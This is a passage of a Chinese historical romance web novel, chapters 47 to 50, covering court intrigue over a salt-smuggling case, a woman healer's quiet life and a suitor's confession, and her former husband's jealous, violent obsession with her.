立储传位,一向是父子间隐而不宣之事,就这般被戳破将会引来何等大罪,李桢怎敢轻易认下? 更何况,他虽然确实恨不能谢云舟早死才好,可也当真不曾动过手脚。 参与私盐舞弊的确是重罪,他也为此日夜焦心,但其间仍有转圜余地。 若是寻常钦差涉及此案,他或许还真会动手,但那是谢云舟,他心里有忌惮,如今却平白蒙受冤屈,李桢只觉胸臆难平,“官家,儿臣实是冤枉!儿臣不曾暗下毒手,更不敢心存此念!” 可官家全然不理会他的辩解,一双苍老的眼睛死死地盯着他,目光阴冷至极:“不必说那些无用的话,朕今日便明明白白地告诉你……你既当真动了这份畜生心思,便休要怪朕……做一回前朝石季龙。” 犹如一道惊雷在头顶轰然炸响。 石季龙是何人?那是因次子石宣谋害幼弟,便下旨虐杀石宣全府上下数百口的暴君啊。 李桢猛地抬起头,额上的血珠顺着下颌滴落下来,洇湿了雪白的中单领缘,鲜红刺目。 起初的惶然到此刻已经彻底化作了悲愤,藏在袖中的指尖不住颤抖,李桢红了眼,愤然道:“爹爹!到底我是爹爹的儿子,还是他谢云舟才是爹爹的儿子?从小到大,每每我同他有什么争执,爹爹都偏心护着他、叱骂我……爹爹,他是您的心头宝,我就是地上草么?爹爹又焉知这不是他谢云舟设计的一出好戏,要陷害于我呢?!” 李桢越说越恨,可他的委屈不平却只招来官家的拍案震怒,“放肆!竟还敢狡辩!当年太子被人挑唆谋逆,你在其中又有几分清白,真当朕不知么?” 李桢惶然一震,还要再说什么,官家的额头上已然青筋暴起,狰狞怒道:“来人,将这逆子给朕押去宗正寺别院,无赦不得出,留待审刑院细查!” 殿外值守的禁军班直奉命入内,甲胄作响,团团围拢过来。 哀莫大于心死,李桢暗暗攥紧染血的袖口,平静地低了头,掩去眸中层层阴翳,被禁军簇拥着带出了福宁殿。 声响远去,大殿中重又变得空旷,官家急咳不止,面色涨得通红,怀忠赶忙上前抚着后背替他顺气,又斟了一盏温茶,呈敬上去,“官家息怒,官家息怒,保重龙体啊。” 官家咳了许久才平复下来,颤抖着接过茶水抿了一口,哑声问道:“长公主府上可得知消息了?” 怀忠应道:“依着官家先前的吩咐,还不曾透出信儿去。” 沉默良久,官家缓慢地点了下头,“再等几日……寻到鸣岐下落之前,将消息暂且压下来罢,免得阿姊白白跟着忧心。” 怀忠小心应声:“是。” 吩咐完,官家复又沉默下来,好半晌,方才缓缓转过头,凝望向窗前盆中栽植的一株木芙蓉。 竹帘如篦,低垂半卷,将薄暮的天光筛作无数缕金丝,盆中的木芙蓉已经由白转红,瓣叶显出几分颓然,仿佛褪去残脂的美人,一日花期将尽,眼看着就要零落成尘。 不知过去多久,忽听官家疲倦地叹息了一声,又似是自言自语,涩然道:“我想着让他去积些功劳威望,谁成想……他还不曾娶妻呢……若是当真出了事,九泉之下,我有何面目去见蓉娘……” 冷不防听见那两个字,怀忠登时一个激灵,强自按捺住乱蹦的心跳,出声劝慰:“官家可莫要说这等丧气话,小郡王吉人自有天相,此番必能逢凶化吉,平安归来。” 犹豫片刻,他又向上觑了觑官家的神色,继续劝道:“娘子……娘子她在天有灵,想必也会保佑小郡王遇难成祥。” 官家想听的自然是吉祥话,可话虽是这样说,他们主仆心中却都有如明镜,知晓这一回小郡王怕是凶多吉少了。 淮河正值汛期,水急湍猛,贼人趁着夜黑炸船行刺,小郡王负伤坠江,守备卫所几百人捞了一天一夜,也没能寻到半分踪迹,风高浪急,这到底会被江流卷去何处……大抵只能看天命如何了。 还有护卫送回来的那本账册,他曾在旁边瞧过一眼,那上面不仅浸了水渍,更是星星点点布满血痕…… 这简直就是活生生地往官家心窝里戳刀子啊。 “会么?”沉默良久,官家转头看向怀忠,眼中隐隐泛红,声音涩哑难当,“我只怕她心中还记恨着我,也不肯保佑我们的孩儿……” 官家老了,无论当年有过何等铁血手腕,到此刻也终究是难□□露出几分脆弱。 怀忠心头微微一酸,一迭声地应道:“会的,自然会的,那可是您和娘子唯一的骨血,如何能舍得呢。” 官家似是信了他的话,垂下眼,良久,默然地点了点头。 铜壶滴漏中水声滴答,远处的天色渐发黯淡,到了掌灯时分,一列宫人无声地鱼贯而入,手中捧着仙鹤衔枝铜烛台,在澄泥花砖上投下一道道摇曳的暗影。 星星点点的烛光在大殿内渐次亮起,官家不知想到了些什么,忽然开口问道:“陆谌回京了没有?” 怀忠忙抬头应了一声,“是,陆将军已于昨日抵京,往禁中递了复职的申状。” 官家点点头,“去,召他来见我。” 怀忠连声应下,转了身悄声退出福宁殿。 陆谌在淮安盘桓日久,眼见上京的形势已不能再拖,只能一面安排人手继续寻人,一面先行回京善后。 原本谢云舟和他先后返程,却不想他前脚抵京,后脚就听探子回报谢云舟出了事,整桩事太过于巧合,处处透着不对劲,越想越让他心头难安。 刚刚见过了温序回到府中,御前的小内侍便寻上门来,陆谌只能换了身公服,随前来传话的黄门步入内廷。 福宁殿外气氛凝沉,一片阗寂。值殿的小黄门见陆谌过来,呵着腰行过礼,像猫儿一样轻轻撩起门帘,请他入内。 陆谌被引到御前,肃容向上行了一礼,“臣拜见官家。” 官家闻声抬眼看去,却不想教他的形容微微惊了一霎。 入宫面圣,自然要收拾仪容,陆谌一身公服严整妥帖,黑鞓银銙带,鬓发收入玉冠,束得丝丝利落。 可饶是如此锦衣光鲜,竟也难掩神态上的憔悴沉寂,倒像是得了场大病缠绵催命,整个人苍白消瘦得叫人心惊。 官家抬了抬手,示意他免礼入坐,拧眉问了一句:“这是怎的了,路上奔波病了?” 陆谌谢恩落座,也未多言,只简单地应了声是,“路上不慎遇着些波折。” 官家一腔心思都牵念在谢云舟身上,本也无心过问臣子私事,略问一句以示关切便够了,闻言便只点点头,不再追问。 “急传你入禁中,是有要事。你大抵不知,鸣岐在路上遇了刺客,幕后之人许是冲着他手中账册罪证而来。 眼下我已着令将李桢圈禁在了审刑院,但终归是家丑不可外扬,你和鸣岐情谊深厚,他最信得过你,我想着,两淮盐运舞弊和鸣岐遇刺这两桩案子便并到一处,交给你彻查承办。” 陆谌恭敬应了一声是,又状似全然不知这场变故的模样,蹙眉关切了一句,“敢问官家,鸣岐他可还平安?” 闻言,官家深深叹了一口气,神色晦暗,“眼下尚无消息。”顿了顿,又继续道:“鸣岐麾下亲卫已将一应账册尽数送到了上京,封存在审刑院中,详细情形,你可去问询周霄。” 陆谌神色微微一顿。 官家抬眼看向他,吩咐道:“我也知晓,你和王仲乾有旧日恩怨,但我只要你查盐运查刺客,不咎过往,不涉新旧朝党,明查盐运,暗查谋刺,你可明白?” 陆谌垂下眼。 官家这是不欲推翻当年旧案,他心里也清楚,若要为他爹翻案,那和揭了官家的脸面扔到地上踩没有任何分别。 再多计较也无用,只要能用这桩盐运案将徐家送上绝路便够了。 陆谌沉声应下,“官家放心,其间轻重,臣心中明白。” 闻言,官家点点头,倦怠地摆了下手,“去罢。” 陆谌起身长揖行礼。 从福宁殿退出来,陆谌脸色阴沉得几乎能滴出水来,沿着狭长甬道越走越快,长靴踏出东华门,官服袍角在夜色中翻出一串凌厉弧度。 那些不对劲的巧合果然不是他的错觉。 那日登船临行前,谢云舟回头看了他一眼,扬唇而笑。 接着便是半途遇险,船上烧了一场大火,连重重护卫之下的谢云舟都能坠江失踪,情急惊险至此,那些繁多的账册和证据却无一缺失,甚至是这般及时、一路上再无阻碍地送抵上京…… 真是好一招金蝉脱壳。 脱身以后,他会去哪?除了去寻她,他还会去哪?! 眼前不受控地浮现起她和谢云舟言笑亲近的画面,他们会在一起做什么? 大抵她只要笑一笑,轻轻一声“鸣岐”,就要唤得他骨头都酥了罢…… 可她已经不会再像那样笑盈盈地唤他“陆秉言”了。 心脏仿佛被什么刺得一紧,剧痛之下猛烈地收缩一瞬,陆谌只觉喉头有股腥甜的热流倒涌而上,他竭力想要咽回去,却还是没能压住,猛地吐了一口血出来。 东华门外值守的禁军长行见状大惊,忙要上前搀扶,“上将军!” “无事。” 陆谌摆了摆手,挥退了靠近的小卒。 闭目咬了咬牙,陆谌撑着宫墙直起身子,指腹狠狠揩去血痕,唇角扯起一抹冷笑。 想脱身么?那他偏要将他逼出来。 第48章 诊病 折柔的小院里还有一处偏仄的厢房,平素用来放置一些杂物和药草,谢云舟倒是没有寻常贵胄公子的娇气,简单收拾一番后就暂住了下来。 折柔其实不大想同谢云舟有太多来往,他和陆谌的渊源太深,又是那样的身份。 可是毕竟是同处一个屋檐下,时日久了,难免感觉到有些说不清道不明的异样。 谢云舟又是个热闹疏朗的性子,整日听着他要么在院中招猫逗狗,要么在提点水青拳脚,明明只是多出来一个人,日子却仿佛一下子热闹鲜活起来,让她想要假作家中没有这个人都不成。 或许是因为中间隔着一个陆谌,尽管两人都没有逾越的言辞举动,可就是隐隐地有些不大自在,说不出的微妙。 若是非要寻出好处,倒是也有一桩。自打谢云舟在此处住下,劈柴挑水之类的粗活便都由他一力担下,教她和水青都轻松了不少,甚至近来气候愈冷,她每日晨起洗漱都能用上烧好的温水,再也不必被冷水冰得牙齿打颤。 屋檐上霜花渐重,红透的柿子累累垂挂在枝头,朔风吹过院墙,摇晃着沙沙作响。 十月初一是寒衣节,依着风俗,女子和孩童都要佩戴辟邪的茱萸承露囊。 折柔事先便已经做好,一早起来给水青拿了一个,小狸也有份,小巧玲珑的荷包用红绳穿过,戴在毛茸茸胖乎乎的脖颈上,可喜得紧。 谢云舟抱臂倚在檐下,看得酸溜溜的,“九娘,怎的连狗都有?” 听出他话音里的试探,折柔眼睫微垂,轻轻挠了挠小狸的耳朵,浅笑道:“当然啦,我们小狸还是个孩子呢。” 狗儿似是听得心满意足,用狗头挨蹭着她,黏糊哼唧了两声。 折柔不自觉地弯起唇角。 水青欢喜地戴好荷包,噔噔噔回屋抱出来一个小提篮,“娘子,我这几日做的纸衣都在这了,您瞧瞧可还缺些什么?” 折柔接过来,篮子里头装满了用黄纸裁作的寒衣鞋靴和各色冥币元宝,她远在异乡,没有坟茔可祭拜,只能去河边路口,车马通达之处,将这些祭品烧给过世的亲人。 水青做得很用心,模样也甚是精巧,折柔翻看了两样,抬头冲她笑笑,“劳烦你了,我屋中也有一些,取来放在一处罢,等到晚间咱们拿去路口烧了。” “娘子同婢子还客气什么。”水青咧嘴一笑,转身回屋将折柔糊的纸衣抱出来,又拎过来一个更大的竹篓,帮着折柔将两篮子的祭扫之物收拢到一处。 谢云舟也撩袍蹲了下来,正想要伸手帮忙,忽然看见堆叠的纸衣冥币间,有一个彩纸糊作的拨浪鼓,同那些素色的衣带鞋靴格格不入,显然是小孩子的玩意儿。 谢云舟的眼神一瞬顿住,喉结滚了滚,半晌,僵硬着脖颈转向折柔,“九娘,这是……” 折柔垂下眼,继续收拢着竹篮,没有作声,只是指尖微不可察地轻颤了一下。 若说原本还是隐约的猜测,可见到她这般反应,谢云舟还有什么不明白的。 从前在洮州的时候,陆谌担心前路未卜,一直在用避子的丸药,甚至怕影响药效,连酒水都戒了。那时他对折柔也没有旁的心思,听闻他们夫妻间的这桩小事,还曾为此打趣过陆谌,笑话他贤惠惧内。 这个孩子,只会是在上京没的。 所以她才会独自一人,逃命似的匆匆离京。 她到底是受了多大的欺负? 心头猛地蹿出一股火来,说不清的酸楚混合着愤怒在胸腔里炸开。 谢云舟忽然就有些克制不住,一把攥住折柔纤细的手腕,喉结剧烈地滚动了一下,“这是怎么回事……是意外,还是他害的你?” 热意一霎透过衣衫,烙在微凉的肌肤上。 折柔抿了抿唇,将手腕从他的掌心下抽出来,低声道:“已经过去的事,不重要。” 谢云舟的动作僵了一瞬,半晌,他涩然出声:“六月里你突然离京,身子可调养好了?有没有留下什么症候?” ……还疼么。 折柔低下头,拿起波浪鼓仔细地收进竹篮里,“鸣岐,这同你没有干系。” 良久,谢云舟扯唇笑笑。 看着她将那只小鼓埋进黄纸堆中的刹那,他只觉心口好像也被什么重重压住。 明明已经熟稔了许多,却仿佛陡然间又竖起一道无形的高墙,将他彻底隔离在外。 两个人都不再说话,院中变得安静,小狸也缩在石阶下,只露出一双圆溜溜的眼睛。 气氛正有些沉凝,院门上忽然传来一阵急促的脚步声,折柔闻声抬头,就见吴家七郎神色焦急地跑了进来,大口喘着粗气,扯起嗓子高声唤人。 “九娘!水青!九娘!” 看着情形有些不对,折柔心中一紧,站起身往前迎了几步,“怎的了?出什么事了?” 吴家七郎一瞧见折柔,顿时如获救星,一把抓住她的衣袖,急急道:“求九娘救命!全哥儿不知怎的回事,从昨晚夜半开始腹痛呕吐,一早起来竟然眼看着要不好了,兄长请来一个走方郎中[1],我却信不大过,还请九娘随我去看看!” 全哥儿今年将满两岁,吴大娘子和丈夫直到中年才得这么一个孩儿,一向宝贝得和心头肉命根子没甚两样。 折柔忙应了下来,温声安抚道:“别急,我这便同你过去。” 当即也顾不上旁的,她转身回屋取了药箱和银针,疾步跟着七郎出了门。 见两个人匆匆离开走远,谢云舟眯眼望了半晌,交待水青守好家门,自己也跟了上去。 折柔急急赶到吴家,还未进门就听见小儿哭闹的声音,极是让人揪心。 进了主屋,吴大娘子正守在榻旁,通红着一双眼,屏息盯着游方郎中为全哥儿诊脉。 探过两手脉象,郎中咂摸着捻了捻短须,回身从药箱里取出几个小药包递过去,“令郎应当是过食生冷、胃内寒凝所致的腹痛,想来并无大碍,用上两服温脾汤便是。” 吴大娘子赶忙应了下来,连声道谢,转头催促婢子快去煎药。 看着全哥儿的模样,折柔心中却隐隐觉得不对,上前唤了声大娘子,“能让我看看全哥儿么?” 吴大娘有些茫然地转过头,看见来者是折柔,知晓她也通些药理,便点头让开了些。 见着似有人要来抢生意,郎中心中老大的不乐意,语气也颇为不善:“你是何人?莫要过来添乱。” 折柔没有理会,上前抱起全哥儿,走到光线明亮之处,捏起他的食指,顺着指间纹路反复推挤了几次,眼见着纹理青黑直透命关,分明不是简单的寒凝腹痛,而是肠痈之兆,若是用了温药无异于火上浇油。 折柔小心地将全哥儿放回榻上,蹙眉对吴大娘子道:“全哥儿这是肠痈,万不能用温药,需得服大黄牡丹皮方泻热。” 郎中顿时瞪圆了眼,“胡言!什么肠痈,这分明就是寒症,泻热才是万万不可!” 吴大娘子一时愣住,看看折柔,又看看游方郎中,实是没了主意,急得左右为难。 七郎适时出声:“嫂嫂,九娘做的成药在平江府里卖得极好,我信九娘。” 郎中闻言冷笑一声,不屑道:“按着成方做两副成药有什么难处?一个后院妇人,她能见过多少病患?胡乱逞能,耽搁了人命,谁来负责?” 眼下救孩子要紧,折柔也不多作分辨,只低声对吴大娘子道:“请大娘子稍待,全哥儿这到底是什么症候,用银针一试便知。” 说着,她回身取出三棱银针,在全哥儿的足三里和阿是两处穴位下了针。 两针甫一刺入,微稠的紫黑色血珠便倏地涌了出来,不过半盏茶的功夫,血珠引尽,全哥儿的哭闹渐渐消止下来,原本紧绷蜷缩的小身子也微微舒展了些。 瞧见这情形,吴大娘子一时喜极而泣,口中直念了一溜的神天菩萨,赶忙催人去按折柔的吩咐煎药,又握住折柔的手,连连道谢。 郎中倒是被冷落在一旁,眼见着今日这生意也要飞了,面上不由得有些挂不住,恼羞道:“不过是瞎雀儿撞着秕谷罢了,一个妇人家也学男子行医,在外抛头露面成什么样子,只怕是不知安分,想来也做不得良医。” 毕竟是身在外乡,不好闹出是非惹人眼目,折柔微微蹙了蹙眉,打算忍下来,不欲同他多做无谓的口舌之争。 郎中从鼻子里哼了一声,一甩长袖,背起药箱就要出门去,却不想被等在檐下的谢云舟一把钳住手腕,逼得踉跄着倒退回了屋内。 谢云舟眯起了眼,冷声道:“道歉。” 郎中挣了两下没能挣脱,反倒梗起脖子怒斥道:“你又是哪一个?多管什么闲事!还不放开我!” 谢云舟手上骤然用了力,郎中毫无防备,登时被疼得嗷一声惨叫了出来。 “我说让你道歉,没听见么?” 手上力道又重了几分。 不过短短几息,郎中已经疼得额头冷汗直冒,心中虽倍感屈辱,却终是受不住疼,只能颤着手向折柔作了个揖,不情不愿地含糊了一句:“恕……恕老朽冒犯,方才满嘴胡言,冲撞了娘子……娘子虽然年纪轻轻,却也有那么几分本事。” 折柔抿了抿唇,受下他这一礼。 谢云舟这才将人搡开,又扯唇讥讽道:“自然不像你,虽然年纪一大把,却也当真不中用。” 郎中也不敢再回嘴,颤颤地擦了擦汗,逃也似的出了吴家大门。 屋子里安静下来。 折柔抬头看向谢云舟,心里也说不清滋味,一时间不知要说些什么。 谢云舟却是扯唇一笑,极为知趣地转身出了屋。 直到晚间去路口烧祭寒衣,折柔才定下心神,向他道谢。 “先前吴家的事,多谢你。” 她冲谢云舟笑了笑,低头向火堆里添了一沓纸钱,“其实不过两句难听的话而已,没事的。” 谢云舟沉默一霎,低声道:“可我觉得有事。” 折柔微微一愣。正此时,不知何处吹来一阵冷风,刮过火堆,火舌“腾”地向上蹿了一蹿,折柔还不及反应,谢云舟已经一把握住她的手,带她往后避让,“小心烫。” 他手掌生得清瘦宽厚,长指收拢起来,将她整只手完全包覆在掌心。 温热微糙的手掌猝然间贴覆上肌肤,折柔心头忽地一紧,几乎是出自本能地挣了一下,想要把手抽回来。 却没能抽动。 折柔不由一怔,意外地抬头看向谢云舟,正正撞进一双漆黑明亮的俊眸。 谢云舟执拗地看着她,两道剑眉微微拧起,哑声道:“九娘,我不想再教人欺负你。” 第49章 剖白 夜幕低垂,远处几粒寒星疏疏落落,泻出几许微光,天地间昏茫茫一片。 焰火在暗夜里不安分地跃动,火舌剥剥吞吐,将盆里的纸衣一寸寸舔舐成蜷曲的焦黑。 安静半晌,折柔垂了垂眼睫,仍是用了力,把自己的手抽出来,“鸣岐,你和我并不是一路人。” 她微微低着头,鸦青的发丝松松挽作一团,露出一截纤柔的脖颈,几缕碎发散落下来,在颈边轻轻拂动。 谢云舟的喉结滚了滚。 沉默片刻,他涩声道:“九娘,我想让你过得随心快活,想让你像从前那般整日欢笑。换了旁的任何一个人来,我都不能放心。” 说着,他扯唇笑了下,抬眸直视向她的眼睛:“九娘,过去的事我们就不再提了,从今往后,你的路便是我的路。 既然你已经决定舍弃过往,重新开始……那不妨回头看看我,成不成?” 折柔冷不防迎上他干净炽烈、又带着几分执拗的眼神,她张了张唇,拒绝的话到了嘴边,忽然又像是教什么堵住,一时间有些说不出口。 她在陆谌那里伤透了心,弄得一身狼狈,四下举目无亲之时,是谢云舟处处护着她,又帮着她离开,分毫不计回报地给她立身之本,让她得以喘息。 人非草木,孰能无情。 怎么可能毫无动容。 她的性子里其实是藏着一些软弱的,所以才会想要逃离,会害怕一个人的孤独,也贪恋安定的温暖。 可她刚刚才从一段剜心裂骨般的感情里挣扎着逃出来,茫然间看不清前路。 离开陆谌,她不清楚自己还会不会恋慕上旁人,只知道她绝不能为着陆谌而蹉跎了下半辈子。动心与否并不重要,她只是想有个温暖的小家,过这世间最平常的日子,再生个乖软可爱的孩子。 不拘男孩还是女孩,只要和她血脉相连,迈着小短腿磕磕绊绊地跟在她身后,扯着她的衣角,抬起小脸软软地唤她“阿娘”…… 如果谢云舟只是一个再寻常不过的平民百姓,没有那么多的牵绊,或许她当真会试着往前走一走。 可他不是。 于他和陆谌这样身份的人而言,活在世上,有太多比情爱重要的东西,家族、门楣、权势、前程、声名…… 就算他自己不想,可身份如此,身处其中,难免要被裹挟得身不由己,不得不争,不得不权衡。 一缕冷冽的夜风从巷口掠过,细灰打着旋儿升腾上来,空气中弥散开草木燃烧的苦涩气味。 折柔垂下眼,伸手抚了抚胳膊,低声道:“鸣岐,我爹爹阿娘的坟茔还在洮州,北疆才是我的故土,我大约不会在这里长住……你也早晚要回去上京,娶亲成家。以你这般尊贵的身份,合该有高门贵女相配才是,着实不应在我身上蹉跎时光。” 隐约看出她似乎有那么一丝犹豫挣扎,谢云舟拧了眉,还要再说些什么,“九娘……” “鸣岐,我知晓你待我好。”折柔摇了摇头,打断他的话。 她无言凝望着跃动的火光,好半晌,喉头微微发哽,“从前陆谌待我,也是极好的。” 只是,那又有什么用呢? 不对等就是不对等,她将一颗心完完全全地交付出去,他却可以游刃有余地权衡进退得失,等到她想要抽身离开了,他又可以罔顾她的意愿,用千百般手段迫她低头,让她反抗不得。 “我和他不一样。”谢云舟忽然开口,又重复道:“九娘,我和他不一样。” 折柔抿了抿唇,没有作声。 火星噼啪爆响,映得周遭忽明忽暗,两个人的影子摇曳着,时隐时现。 谢云舟忽而挑眉看向她,“倘若有朝一日,我也不再是什么小郡王,只是寻常庶民,你可愿瞧我一眼?” 折柔愣怔片刻,忽又失笑,“说什么傻话。” 谢云舟斜睨她一眼,淡淡地“唔”了一声,勾唇笑笑:“说不准将来哪日惹了官家大怒,要罚我做庶人呢,等到那时,只怕我当真要求九娘收留了。” 折柔只当他一时玩笑戏言,便也笑笑不说话。 两淮盐运案发,上京城中一片动荡,陆谌连日来愈发忙碌,极少回府,即便回去也都已是深夜以后。 “还没有消息?” 南衡不大敢看他,低着头,应了声是,“淮河沿岸的州府都已找遍,仍未能寻到娘子踪迹。” 陆谌沉默下来。 身边最得力的人手都已被他分拨出去寻人,一连数月,却始终如同石沉大海,竟无半分音讯。 他哑声道:“继续找。但凡药堂,不问大小,都寻上一遍,查清楚有无女医出诊,有无女子制售成药,又或是突然之间有外地口音的男子去售卖成药。还有,京郊行宫里的那个人也要翻出来,我有大用。” 南衡忙应了声是。 “再叫几个人,把胥国公府上上下下都给我盯紧了,过几日便是腊月初八,长公主要去大相国寺上香施粥,一旦那边出了事,周霄必定会传信给谢云舟,我就不信他露不出些蛛丝马迹来。” 闻言,南衡心下挣扎一瞬,还是犹豫着问了一句,“郎君,那可是长公主,您当真要动手?” 陆谌平静地抬起眼来,那眼神无波无澜,却冷得让人心头狠狠一颤。 南衡一凛,不敢再多言。 他隐隐约约能瞧的出来,自从那晚娘子离开算起,至今已经四月有余,日子一天一天过去,郎君面上虽已不复初时那般焦躁,整个人愈发沉静如深水,内里却像一张渐渐拉满的硬弓。 他仿佛能听见那弓弦被缠绞得咯咯作响,不知何时便要崩断。 陆谌径直回了东院主屋。 平川已经预备好了热水,走进净室里,烛光杳杳,水汽蒸腾着,素纱屏风朦胧半透。 躞蹀带的铁扣在雕花木案上磕出当啷一声脆响,陆谌胡乱扯落了衣裳,瘦长的指节扣住浴桶边缘,整个人如同卸去机簧的弓弩,疲倦地沉入水中。 四下里寂然一片,窗外月色温润,悄悄地从窗棂里漫进来,泻下几缕清冷的银光。 无端端地就让他想起她雪白细腕上的那圈玉镯,如凉雾般滑过他的掌心。 额角的青筋忽而急跳起来,陆谌闭上眼,仰头靠在浴桶里,清俊喉结不住地滚动起伏。 想起从前抵着她在此处缠绵,热水翻浪,薄雾氤氲,汗渍淋漓交融。 想起她纤细的十指紧紧掐在桶壁上,指尖用力到发白,他从后覆上去,那对玉镯就挂在她细瘦的皓腕间,随着动作叮伶晃荡,间或磕在桶壁上,发出清脆的一声响。 又或是将她温软的身子转过来,任由那双柔软的藕臂紧紧揽住他的脖颈,沁着凉意的镯身抵上他汗湿的脊背,渐渐被他滚烫体温浸得温热。 玉镯浸透了不知是谁的热汗,在她腕间变得滑腻,纤长的脖颈向后仰起,吟声破碎,“陆秉言……” 脑中画面纷纷叠叠,耳畔隐约细吟轻喘。 心头燥火一阵阵地烧起来,愈发渴得厉害,偏偏苦求而不得,反倒化作诛心利刃,一刀一刀戳刺着肺腑,几要教他痛不欲生。 “平川。” 分不清是燥还是痛,陆谌再也忍耐不住,朝外唤了一声,水珠顺着滚动的喉结滑落下来,“倒茶。” 纱屏外却没有人应声。 等了几息,陆谌不耐地拧起眉心,正要睁眼,鼻息间忽然飘来一阵熟悉的杏花淡香。 “郎君……” 身后有细碎的脚步轻移过来,伴着一道怯怯的娇柔女声。 第50章 家法 陆谌猛地睁开眼。 浴房里的烛光被水汽氤氲得朦胧,隐隐约约地在青砖上映出一道袅娜暗影。 身后女使小心地走到近前,素白的手捧着青瓷茶盏递过来,腕间一只银镯随着动作轻垂慢晃,若有似无地从他的手背上擦过,带起一串细微的凉意。 “郎君可是要用茶?” 声音娇若黄莺出谷,柔腻得快要能滴出水来。 陆谌顿了一顿,须臾,视线缓缓从那只银镯移到来人的面上,“你是何人?” 女使微微低下头,纤长脖颈弯折成一道温驯的弧度,柔声道:“婢子檀云,是受夫人吩咐,特意过来侍奉郎君的……” 听闻这话,陆谌抬眸扫了她一眼,声音里辨不清喜怒,“夫人?” 檀云柔柔地点头应是,余光窥见青年整个人倦怠地歇靠在浴桶里,水波浮动中,隐约露出一片白玉似的劲瘦胸膛,肌理薄韧紧实,利落分明,不似少年般青涩,反倒尽是成年男子的韵味,望之惹人心折。 她顿时一阵脸热心跳,鬼使神差般地大起胆子,上前靠近了些。 动作间衣袖拂动,又送来几息极为清淡的杏花气味,和她身上的软香一模一样。 明明已经数月未见,可只是嗅到这样一缕气息,那些熟稔亲昵的记忆便如溃堤般奔涌而来,呼啸着要将他彻底吞没。 妱妱…… 陆谌眸光一暗,喉结微微地上下滚动,骨节分明的长指不自觉地用力,扣紧了桶壁。 檀云瞧出他的不同寻常,暗觉自己许是入了郎君的眼,胆子愈发地大起来,轻轻伸手探向他光裸的肩背,“让婢子服侍郎君沐浴罢……” 指尖就要触上那一截劲实的薄肌,却不妨被陆谌一把擒住了手腕。 “……郎君!” 他手上用了力,硬如铁铸。檀云忍不住颤声呼痛。 陆谌脸色已经彻底寒了下来,一双幽邃黑眸冷冷地盯着她,“谁给你的香?” 檀云身子颤了颤,慌乱地看着他,一时间有些不知所措:“郎君,郎君可是不喜?这香是夫人吩咐婢子,去问小婵讨……唔!” 哗啦一声,浴桶中水花四溅,陆谌猛然抬手,湿淋淋的手掌狠扼住眼前那段纤瘦脖颈,五指如铁钳,猝然收紧。 “呃……咳……”檀云脸色涨得紫红,眼中满是惊恐,拼命地想要咳喘,却连一丝声音都发不出,水痕顺着脖颈蜿蜒而下,渐渐在轻薄的齐胸小襦上模糊洇作一团。 “她的香,你也配。” 喉咙里的空气越发稀薄,檀云濒临窒息,本能地去攀他的手臂,如同一条脱了水的鱼儿,剧烈地扭身挣扎。 热意蒸腾,香气一缕一缕地往鼻息间扑钻,陆谌心中燥火愈盛,满腔的暴戾和恨怒如潮水般一波波地腾涌上来。 恨旁人用了她的香,更恨用这香的人舍他而去,不肯回头。 偶尔有几个极其恍惚的瞬间,曾隐隐闪过一丝说不清道不明的庆幸,因他清楚,有谢云舟出手相帮,想来她在外不会过得辛苦,也不会轻易教人欺负。 可紧随而来的却是更为暴烈而明晰的恨,几要刻骨入心,明明是他的妱妱,却被旁的男人伴在左右,只一想,便恨得他杀意沸腾,妒意如焚。 冷眼看着檀云被扼得两眼翻白,喉骨咯咯作响,直到就要窒息而亡,陆谌方才松了手,任由掌下的人像一滩烂泥般滑跌到地上。 颈间一瞬失去桎梏,空气猛地涌了进来,檀云狼狈地趴伏在一地的水渍中,捂着喉咙拼命急喘,又止不住地剧烈呛咳。 “滚出去。” 恍惚间听见这一句,檀云连滚带爬地挣起身来,正要往外逃,忽又被陆谌冷冷叫住,“滚去松春院,叫夫人仔细看看你脖子上的伤。” 檀云慌乱地点了点头,半分都不敢再多待,几乎是逃命一般地踉跄着奔出门外。 浴房中复又陷入一片死寂。 陆谌站起身,随意扯了件外袍披上,阴沉着眉眼,赤足走回到榻上,沉默着坐了良久。 床榻上仍旧摆着双人的鸳鸯枕,是他们一同去挑选的布料,她亲手绣制的纹样。 可她走了太久了。 枕衾上早已嗅不见她柔软的香气。 更漏声声,月影轻移。静默了半晌,陆谌撑膝起身,走到衣柜前,重新翻出一件深色襕袍换上。 果然不出意料,他这厢将将理好衣襟,门外便有婆子过来传话,语声里透着抑不住的紧张忐忑:“郎君……郎君可歇下了?夫人,夫人请郎君移步祠堂,有话要同郎君讲。” 陆谌轻扯了下唇角,迈步出门。 夜过三更,朔风凛冽刮骨。 祠堂里已经燃起明烛,映得四下里一派通明,陆老相公的灵位端端正正摆在紫檀雕花案几上,香炉中青烟袅袅。 郑兰璧在灵前静立良久,听见陆谌进门过来,不自觉地微微绷直了腰背。 “跪下。” 陆谌平静地扫了一眼身前蒲团,撩起袍角,膝盖径直跪落在了青砖上。 沉沉一声闷响,几乎是砸在郑兰璧心头。 再也强撑不住,她猛地转过身,看向地上直挺挺跪着的青年。 她这儿子,如今早已不复少年时的温润清雅,面容褪去了青涩,眼角眉梢俱是成年男人的硬朗,跪在冷硬的青砖地上,挺拔得如同一尊石像。 “不过区区一个乡野女子,竟值得你颓丧至此,浑似变了个人……当真是好生出息,陆家的脸面都要教你丢尽了!” 陆谌神色淡漠,“儿子与从前有何不同?” “……有何不同?”郑兰璧颤声反问,“你问我有何不同?” “当啷”一声脆响,她猛地将袖中菱花小镜掷了出去,狠狠砸在陆谌膝前。 “你对着镜子好生看一看,自己现在到底成个什么样子!” 陆谌平静地垂下眼。 烛火明灭跳跃,铜镜里映出半张苍白面容,和一双毫无生气的冷冽眉眼。 “三郎,”郑兰璧心中又痛又急,“这世间女子数不胜数,难道你就非她不可?!” 陆谌低垂着眼,紧绷下颌,一言不发。 见他沉默抗拒,郑兰璧怒声斥道:“自打当初我既写下休书,你和她便已是缘分断尽!这个世道,一个无父无母的美貌女子,哪有那么容易自立存身?如今半年光景过去,说不准她早已改嫁他人,再过些时日,只怕连孩儿都要生下了!你再执迷不悟,又能如何?!” 陆谌扯了扯唇,轻哂。 郑兰璧猛地打了一个颤栗。 他虽未明言什么,可眼中泄出的那分狠戾,她身为人母,又如何看不懂? 像是被那目光狠狠刺痛,郑兰璧指尖颤了颤,踉跄着转回身,抄起案上那根粗实的藤条,用力朝着陆谌背脊抽去! “疯了……你真是疯了……”她深深地吸气,一字一句几乎是从齿缝里挤出来,“我今日便替你父亲,打醒你这不肖子!” 郑兰璧气怒到极处,手上用足了力道,两指粗细的藤鞭狠抽下去,“啪”地一声脆响,震得她自己都隐隐打了一个寒颤,手腕发麻。 